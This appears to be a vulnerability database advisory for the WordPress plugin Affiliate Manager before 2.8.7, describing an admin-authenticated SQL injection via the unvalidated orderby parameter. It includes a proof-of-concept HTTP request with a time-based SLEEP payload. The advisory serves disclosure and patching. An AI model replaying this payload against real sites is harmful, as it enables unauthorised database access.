WordPress Plugin Vulnerabilities

Affiliate Manager < 2.8.7 - Admin+ SQL injection

Description

The plugin does not validate the orderby parameter before using it in an SQL statement in the admin dashboard, leading to an SQL Injection issue

Proof of Concept

POST /wp-admin/admin.php?page=wpam-affiliates&tab=export_data&orderby=if(&order=0,1,SLEEP(10)) HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

_wpnonce=5e236197e2&wpam-export-affiliates-to-csv=Export+to+CSV

Affects Plugins

Fixed in 2.8.7

References

Classification

Type
SQLI
OWASP top 10
CWE

Miscellaneous

Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Verified
Yes

Timeline

Publicly Published
2021-10-11 (about 2 years ago)
Added
2021-10-11 (about 2 years ago)
Last Updated
2022-09-26 (about 1 years ago)

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